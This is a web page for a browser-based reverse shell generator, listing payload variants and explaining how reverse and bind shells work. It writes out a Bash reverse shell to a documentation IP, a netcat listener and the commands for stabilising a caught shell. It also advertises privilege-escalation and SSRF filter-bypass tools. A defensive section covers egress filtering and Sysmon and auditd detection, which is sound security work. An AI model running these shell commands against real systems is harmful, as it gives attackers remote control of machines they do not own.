Free tool · runs in your browser
Reverse Shell Generator
Data from revshells.com (0dayCTF) · MIT
IP or hostname of your listening machine.
Listening port, 1 to 65535.
- Bash -i
- Bash 196
- Bash read line
- Bash 5
- Bash udp
- nc mkfifo
- nc -e
- nc.exe -e
- BusyBox nc -e
- nc -c
- ncat -e
- ncat.exe -e
- ncat udp
- curl
- rustcat
- C
- C Windows
- C# TCP Client
- C# Bash -i
- Haskell #1
- OpenSSL
- Perl
- Perl no sh
- Perl PentestMonkey
- PHP PentestMonkey
- PHP Ivan Sincek
- PHP cmd
- PHP cmd 2
- PHP cmd small
- PHP exec
- PHP shell_exec
- PHP system
- PHP passthru
- PHP `
- PHP popen
- PHP proc_open
- Windows ConPty
- PowerShell #1
- PowerShell #2
- PowerShell #3
- PowerShell #4 (TLS)
- PowerShell #3 (Base64)
- PowerShell #5 (stderr support) (Base64)
- P0wny Shell (Webshell)
- Python #1
- Python #2
- Python3 #1
- Python3 #2
- Python3 Windows
- Python3 shortest
- Ruby #1
- Ruby no sh
- socat #1
- socat #2 (TTY)
- sqlite3 nc mkfifo
- node.js
- node.js #2
- Java #1
- Java #2
- Java #3
- Java Web
- Java Two Way
- Javascript
- Groovy
- telnet
- zsh
- Lua #1
- Lua #2
- Golang
- Vlang
- Awk
- Dart
- Crystal (system)
- Crystal (code)
- nc -e Bind
- nc.exe -e Bind
- nc mkfifo Bind
- ncat -e Bind
- Perl Bind
- PHP Bind
- Python3 Bind
- Ruby Bind
- Socat (TTY) Bind
- Windows Meterpreter Staged Reverse TCP (x64)
- Windows Meterpreter Stageless Reverse TCP (x64)
- Windows Staged Reverse TCP (x64)
- Windows Stageless Reverse TCP (x64)
- Windows Staged JSP Reverse TCP
- Windows Staged ASPX Reverse TCP
- Windows Staged ASPX Reverse TCP (x64)
- Linux Meterpreter Staged Reverse TCP (x64)
- Linux Stageless Reverse TCP (x64)
- Windows Bind TCP ShellCode - BOF
- macOS Meterpreter Staged Reverse TCP (x64)
- macOS Meterpreter Stageless Reverse TCP (x64)
- macOS Stageless Reverse TCP (x64)
- PHP Meterpreter Stageless Reverse TCP
- PHP Reverse PHP
- JSP Stageless Reverse TCP
- WAR Stageless Reverse TCP
- Android Meterpreter Reverse TCP
- Android Meterpreter Embed Reverse TCP
- Apple iOS Meterpreter Reverse TCP Inline
- Python Stageless Reverse TCP
- Bash Stageless Reverse TCP
No payload matches this filter.
Bash -i
Payloads from revshells.com (0dayCTF/reverse-shell-generator, MIT), synced at commit 9fda27f.
LListener
TTYStabilise the shell
Once you catch the shell, run these steps to get a full terminal (completion, arrow keys, Ctrl+C).
- 01Spawn a PTY (Python)
python3 -c 'import pty; pty.spawn("/bin/bash")' - 02Spawn a PTY (script)
script -qc /bin/bash /dev/null - 03Background the shell
Ctrl+Z - 04Raw terminal on the attacker side
stty raw -echo; fg - 05Reset the display
reset - 06Terminal type
export TERM=xterm-256color - 07Terminal size
stty rows 38 cols 116
What is a reverse shell?
A reverse shell is a remote command session in which the target machine initiates a connection to the operator’s machine. A listening program, called a listener, receives this connection and lets the operator interact with the target’s shell.
How a reverse shell works
The operator first starts a listener, a program that waits for the connection on a given port. When the payload runs on the target, it connects back to that listener, and every command typed on the operator side runs on the target.
This direction can work around inbound filtering or NAT on the target’s network. The target still needs to reach the listener: choosing a common port such as 443 does not bypass an egress firewall or a proxy that checks the protocol.
Bash reverse shell example with a Netcat listener
LHOST is the operator’s address reachable from the target, and LPORT is the listening port. For this example, set LHOST to your listener’s address; 203.0.113.10 below is a documentation address. Start Netcat on the operator’s machine, then run the Bash command on the target.
nc -lvnp 4444 bash -i >& /dev/tcp/203.0.113.10/4444 0>&1 The Bash redirection syntax opens the TCP connection and connects the shell’s input and output to it. The generator above provides variants for Python, PowerShell, PHP, Netcat and Socat, plus the matching listener.
Reverse shell and bind shell
With a bind shell, the target opens a port and waits for the operator to connect. It is simple to set up, but the port has to be reachable from the outside, which is rare behind a NAT or an inbound firewall. The reverse shell flips the direction of the connection and works around that. In return, the operator must expose an IP and a port reachable from the target, and the target's egress filtering must let the connection out.
Stabilising the shell you catch
A raw reverse shell has no completion and no history, Ctrl+C kills the session, and interactive
programs such as ssh, su or vim behave badly. You stabilise it by attaching a pseudo-terminal (PTY).
On Linux, the usual sequence starts with
python3 -c 'import pty; pty.spawn("/bin/bash")' or script -qc /bin/bash /dev/null.
You then background the shell with Ctrl+Z, put your own terminal into raw mode with
stty raw -echo; fg, then export TERM=xterm-256color and set the size with
stty rows 38 cols 116 (take the values from stty size in your terminal).
socat and pwncat-cs do this switch automatically.
Detecting and preventing reverse shells
For detection rules and log examples, see our guide to detecting and blocking reverse shells with Sysmon and auditd.
On the defensive side, a reverse shell almost always signals a compromise that already succeeded: a command injection, a file upload or a vulnerable service let an attacker run code. Two levers apply: stop the connection from leaving, and spot the behaviour when it happens.
Egress filtering and hardening
Egress filtering is the most effective measure. An application server rarely needs to open arbitrary connections to the internet. Limiting outbound flows to known destinations (proxy, package repositories, partner APIs) cuts the return channel even when exploitation succeeds.
The rest of hardening narrows the attacker's options. Services run under dedicated accounts without an
interactive shell, in containers with a read-only file system. On Windows, AMSI and Defender's ASR
rules block part of the PowerShell payloads. On Linux, removing unused interpreters and tools
(compilers, nc with -e, socat) from production limits the usable variants.
Process lineage and telemetry
The most reliable signal is an abnormal process lineage. A web server does not spawn a shell in normal
operation. w3wp.exe starting cmd.exe or powershell.exe under
IIS, or httpd, nginx or java starting bash,
sh, python or nc on Linux, warrant an alert.
On Windows, Sysmon provides the two useful events. Event ID 1 (process creation) gives the full command
line and the parent process, including PowerShell's -EncodedCommand arguments, which you
simply decode. Event ID 3 (network connection) ties an outbound connection to the process that opened
it. A powershell.exe or an Office binary connecting to an unknown external IP is a classic
case.
On Linux, auditd logs execve and connect calls. Rules on these calls surface
the use of /dev/tcp, of nc or of an interpreter with redirected descriptors
0, 1 and 2. Creating a FIFO with mkfifo in /tmp just before an outbound
connection matches the most common netcat variant.
Taken one by one, these indicators stay weak. Detection becomes reliable when you correlate the process lineage, its command line and the network connection it opens, on the same machine and in the same time window.
?Frequently asked questions
Are the payloads sent to a server?
No, the commands are built in JavaScript in your browser. The IP, the port and the payload never leave your machine, and the page keeps working offline once loaded.
Where do the payloads come from?
The list comes from the revshells.com data set (the 0dayCTF/reverse-shell-generator repository, MIT licence), pinned to commit 9fda27f. A sync script downloads that file and stores it in the repository, so the payloads stay data maintained by the upstream project rather than a hand-written list.
Why does the reverse shell fail to connect?
Check, in this order: the listener is on the right port, the listening IP is reachable from the target, no egress filtering blocks the connection, and the chosen interpreter exists on the target (bash with /dev/tcp, python3, nc with -e).
What is the difference between a reverse shell and a bind shell?
With a reverse shell, the target opens the connection to your machine, which passes most firewalls that only filter inbound traffic. With a bind shell, the target opens a port and waits for your connection, which fails as soon as a firewall or a NAT blocks inbound connections.
How do I stabilise a shell?
Spawn a pseudo-terminal with python3 -c 'import pty; pty.spawn("/bin/bash")', background the shell with Ctrl+Z, put your terminal into raw mode with stty raw -echo; fg, then export TERM and set the size with stty rows and cols. The tool's TTY panel lists each command.
Why encode a payload in Base64 or URL?
So it survives a context that interprets certain characters, such as a URL parameter or a form field. PowerShell also expects a Base64 of UTF-16LE command with -EncodedCommand. An EDR decodes these formats without trouble, so encoding is not a way to hide.
+More tools
- #!Privesc Lookup
GTFOBins and LOLBAS: paste sudo -l or a SUID list, get the command.
- u:pDefault Credentials
Default logins for thousands of devices and applications.
- 0x7fSSRF Toolkit
IP address variants to slip past a filter, cloud metadata endpoints.
Technical assessment
Request an application or infrastructure assessment
For an assessment by our team, specify the systems involved, available access and requested tests in your enquiry.